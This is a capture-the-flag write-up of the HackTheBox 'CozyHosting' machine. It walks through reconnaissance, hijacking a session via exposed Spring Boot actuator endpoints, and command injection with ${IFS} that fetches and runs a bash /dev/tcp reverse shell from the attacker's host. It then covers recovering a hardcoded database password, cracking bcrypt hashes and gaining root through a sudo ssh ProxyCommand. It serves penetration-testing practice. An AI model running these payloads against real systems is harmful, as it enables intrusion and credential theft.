Home HackTheBox - CozyHosting
Post
Cancel

HackTheBox - CozyHosting

This box starts off with a web application that offers hosting services.

homepage

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -oN nmap_result 10.10.11.230
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-08 11:59 CEST
Nmap scan report for 10.10.11.230
Host is up (0.025s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_  256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gobuster dir -w ~/wordlists/dirbuster/directory-list-2.3-medium.txt  -u http://cozyhosting.htb
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cozyhosting.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/kali/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/09/08 12:01:36 Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 12706]
/login                (Status: 200) [Size: 4431]
/admin                (Status: 401) [Size: 97]
/logout               (Status: 204) [Size: 0]
/error                (Status: 500) [Size: 73]

===============================================================
2023/09/08 12:13:07 Finished
===============================================================

When we go to a page that doesn’t exist, for example “http://cozyhosting.htb/test”, we get an error message.

1
2
3
4
5
Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.
Fri Sep 08 17:50:36 UTC 2023
There was an unexpected error (type=Not Found, status=404).

After googling this error message, we find out the “Whitelabel error page” is generated by Spring Boot when no custom error page is present.

We can gather more information by exploiting Spring Boot Actuators.

The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured. (hacktricks)

We can get the actuator data by doing a GET request to the “/actuator” endpoint.

1
2
3
4
5
6
7
8
9
GET /actuator HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=62B208E15566845E552754747427E114
Upgrade-Insecure-Requests: 1

We get this response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
{
   "_links":{
      "self":{
         "href":"http://localhost:8080/actuator",
         "templated":false
      },
      "sessions":{
         "href":"http://localhost:8080/actuator/sessions",
         "templated":false
      },
      "beans":{
         "href":"http://localhost:8080/actuator/beans",
         "templated":false
      },
      "health-path":{
         "href":"http://localhost:8080/actuator/health/{*path}",
         "templated":true
      },
      "health":{
         "href":"http://localhost:8080/actuator/health",
         "templated":false
      },
      "env":{
         "href":"http://localhost:8080/actuator/env",
         "templated":false
      },
      "env-toMatch":{
         "href":"http://localhost:8080/actuator/env/{toMatch}",
         "templated":true
      },
      "mappings":{
         "href":"http://localhost:8080/actuator/mappings",
         "templated":false
      }
   }
}

We can get the active sessions by doing a GET request on the “/actuator/sessions” endpoint. We find the active session for the “kanderson” account:

1
2
3
4
{
   "0A1BE55EA00AE5562BC8671C105B935E":"UNAUTHORIZED",
   "CE7AE8C42E91F7979026617FE08387A7":"kanderson"
}

Earlier we found out there was an admin page, where we didn’t have access to. We can now to the admin page, and using burp to catch the request and modify the cookie to the session of “kanderson”.

1
2
3
4
5
6
7
8
9
GET /admin HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=CE7AE8C42E91F7979026617FE08387A7
Upgrade-Insecure-Requests: 1

admin

Foothold

We notice at the bottom of the admin page a form to add a host. We catch the request and notice we try to exploit it through a command injection by adding ;ls to the request body.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin
Cookie: JSESSIONID=6F826319FE27FA5CB22B8D0B04FC9D87
Upgrade-Insecure-Requests: 1

host=127.0.0.1&username=kanderson;ls

We get “Temporary failure in name resolution/bin/bash: line 1: ls@127.0.0.1: command not found” as a response, which confirms that a command injection is possible.

When trying other payloads, we also got a “Whitespaces not allowed” error so we need to find a way to get a reverse shell without using spaces. We will use curl to download a reverse shell onto the target machine and execute it through the command injection.

1
2
3
4
$ cat revshell.sh   
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.11.14.58/1234 0>&1
$ python3 -m http.server 80

We craft the command injection by using ${IFS} as this resembles a tab. We close the command injection with ;# to comment out the rest of the command where this username value is being injected in.

1
2
3
4
5
POST /executessh HTTP/1.1
Host: cozyhosting.htb
...

host=127.0.0.1&username=kanderson;curl${IFS}http://10.10.14.58/revshell.sh;#

We get a reverse shell, and notice there is a user called “josh” on the system as well as a jar file called “cloudhosting-0.0.1.jar”. Because we don’t have the password of this ssh account, we set up a python server so we can download the jar file to our own system to decompile it and read the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nc -lvnp 1234 
listening on [any] 1234 ...
connect to [10.10.14.58] from (UNKNOWN) [10.10.11.230] 60976
bash: cannot set terminal process group (1061): Inappropriate ioctl for device
bash: no job control in this shell
app@cozyhosting:/app$ cd /home
app@cozyhosting:/home$ ls
josh
app@cozyhosting:/home$ cd josh
bash: cd: josh: Permission denied
app@cozyhosting:/home$ cd /app
app@cozyhosting:/app$ ls
ls
cloudhosting-0.0.1.jar
app@cozyhosting:/app$ python3 -m http.server 8000 
10.10.14.58 - - [08/Sep/2023 11:19:36] "GET /cloudhosting-0.0.1.jar HTTP/1.1" 200 -

We can use jd-gui to decompile the downloaded jar file.

1
2
$ jd-gui cloudhosting-0.0.1.jar
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

While going through the source files, we find a hardcoded password for the postgres database in the “application.properties” file.

1
2
3
4
5
6
7
8
9
10
11
12
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg**REDACTED**xR

We can use it to dump the data in the postgres database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app@cozyhosting:/app$ psql -U postgres -h localhost
Password for user postgres: Vg**REDACTED**xR    

\list
                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
(4 rows)

\c cozyhosting
You are now connected to database "cozyhosting" as user "postgres".
\dt
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

select * from users
;
   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$**10$SpKYdHLB0FO**REDACTED**dazrNNpIPjUb2MZib3H9kV**O8dm | Admin
(2 rows)

We can use john the ripper to crack the hash.

1
2
3
4
5
6
7
8
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt                   
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
man**REDACTED**ted (?)     
1g 0:00:00:29 DONE (2023-09-08 13:41) 0.03342g/s 93.85p/s 93.85c/s 93.85C/

Privilege Escalation

We know the admin is josh by seeing the /home/ dir earlier in our remote session.

1
2
3
4
5
6
7
8
9
10
11
12
$ ssh josh@10.10.11.230 
josh@10.10.11.230s password: 
josh@cozyhosting:~$ cat user.txt
d8a88**REDACTED**a2512
josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Checking out GTFOBins, we find a way to exploit sudo privileges on ssh.

1
2
3
4
5
6
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
08c78**REDACTED**2a768
# 
This post is licensed under CC BY 4.0 by the author.